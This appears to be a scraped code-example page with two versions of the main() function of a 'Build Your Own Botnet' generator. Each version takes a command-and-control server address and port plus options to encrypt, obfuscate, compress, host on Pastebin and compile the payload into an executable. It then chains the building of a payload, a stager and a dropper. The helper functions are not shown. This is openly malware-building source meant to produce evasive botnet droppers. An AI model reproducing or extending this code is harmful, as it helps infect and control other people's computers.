Exemple #1
0
def main():
    """
    Run the generator

    """
    util.display(
        globals()['__banner'],
        color=random.choice(
            list(
                filter(lambda x: bool(str.isupper(x) and 'BLACK' not in x),
                       dir(colorama.Fore)))),
        style='normal')

    parser = argparse.ArgumentParser(
        prog='client.py', description="Generator (Build Your Own Botnet)")

    parser.add_argument('host',
                        action='store',
                        type=str,
                        help='server IP address')

    parser.add_argument('port',
                        action='store',
                        type=str,
                        help='server port number')

    parser.add_argument('modules',
                        metavar='module',
                        action='append',
                        nargs='*',
                        help='module(s) to remotely import at run-time')

    parser.add_argument('--name', action='store', help='output file name')

    parser.add_argument('--icon', action='store', help='icon image file name')

    parser.add_argument(
        '--pastebin',
        action='store',
        metavar='API',
        help=
        'upload the payload to Pastebin (instead of the C2 server hosting it)')

    parser.add_argument(
        '--encrypt',
        action='store_true',
        help=
        'encrypt the payload with a random 128-bit key embedded in the payload\'s stager',
        default=False)

    parser.add_argument(
        '--compress',
        action='store_true',
        help='zip-compress into a self-extracting python script',
        default=False)

    parser.add_argument(
        '--freeze',
        action='store_true',
        help=
        'compile client into a standalone executable for the current host platform',
        default=False)

    parser.add_argument(
        '-v',
        '--version',
        action='version',
        version='0.5',
    )

    options = parser.parse_args()
    key = base64.b64encode(os.urandom(16))
    var = generators.variable(3)
    modules = _modules(options, var=var, key=key)
    imports = _imports(options, var=var, key=key, modules=modules)
    hidden = _hidden(options,
                     var=var,
                     key=key,
                     modules=modules,
                     imports=imports)
    payload = _payload(options,
                       var=var,
                       key=key,
                       modules=modules,
                       imports=imports,
                       hidden=hidden)
    stager = _stager(options,
                     var=var,
                     key=key,
                     modules=modules,
                     imports=imports,
                     hidden=hidden,
                     url=payload)
    dropper = _dropper(options,
                       var=var,
                       key=key,
                       modules=modules,
                       imports=imports,
                       hidden=hidden,
                       url=stager)
    return dropper
Exemple #2
0
def main():
    """ 
    Run the generator

    usage: generator.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API]
                         [--encrypt] [--obfuscate] [--compress] [--compile]
                         host port [modules [modules ...]]

    positional arguments:
      host            server IP address
      port            server port number
      modules         modules to remotely import at run-time

    optional arguments:
      -h, --help      show this help message and exit
      -v, --version   show program's version number and exit
      --name NAME     output file name
      --icon ICON     icon image file name
      --pastebin API  upload & host payload on pastebin
      --encrypt       encrypt payload and embed key in stager
      --obfuscate     obfuscate names of classes, functions & variables
      --compress      zip-compress into a self-executing python script
      --exe           compile into a standalone executable (Windows, Linux)
      --app           bundle into standalone application (Mac OS X)

    """
    util.display(globals()['__banner'],
                 color=random.choice(
                     filter(
                         lambda x: bool(str.isupper(x) and 'BLACK' not in x),
                         dir(colorama.Fore))),
                 style='normal')
    parser = argparse.ArgumentParser(
        prog='generator.py',
        version='0.1.5',
        description="Generator (Build Your Own Botnet)")
    parser.add_argument('host',
                        action='store',
                        type=str,
                        help='server IP address')
    parser.add_argument('port',
                        action='store',
                        type=str,
                        help='server port number')
    parser.add_argument('modules',
                        action='append',
                        nargs='*',
                        help='modules to remotely import at run-time')
    parser.add_argument('--name', action='store', help='output file name')
    parser.add_argument('--icon', action='store', help='icon image file name')
    parser.add_argument('--pastebin',
                        action='store',
                        metavar='API',
                        help='upload & host payload on pastebin')
    parser.add_argument('--encrypt',
                        action='store_true',
                        help='encrypt payload and embed key in stager',
                        default=False)
    parser.add_argument(
        '--obfuscate',
        action='store_true',
        help='obfuscate names of classes, functions & variables',
        default=False)
    parser.add_argument(
        '--compress',
        action='store_true',
        help='zip-compress into a self-executing python script',
        default=False)
    parser.add_argument('--exe',
                        action='store_true',
                        help='compile into a standalone bundled executable',
                        default=False)
    parser.add_argument('--app',
                        action='store_true',
                        help='bundle into a standlone application',
                        default=False)
    options = parser.parse_args()
    key = base64.b64encode(os.urandom(16))
    var = generators.variable(3)
    modules = _modules(options, var=var, key=key)
    imports = _imports(options, var=var, key=key, modules=modules)
    hidden = _hidden(options,
                     var=var,
                     key=key,
                     modules=modules,
                     imports=imports)
    payload = _payload(options,
                       var=var,
                       key=key,
                       modules=modules,
                       imports=imports,
                       hidden=hidden)
    stager = _stager(options,
                     var=var,
                     key=key,
                     modules=modules,
                     imports=imports,
                     hidden=hidden,
                     url=payload)
    dropper = _dropper(options,
                       var=var,
                       key=key,
                       modules=modules,
                       imports=imports,
                       hidden=hidden,
                       url=stager)
    return dropper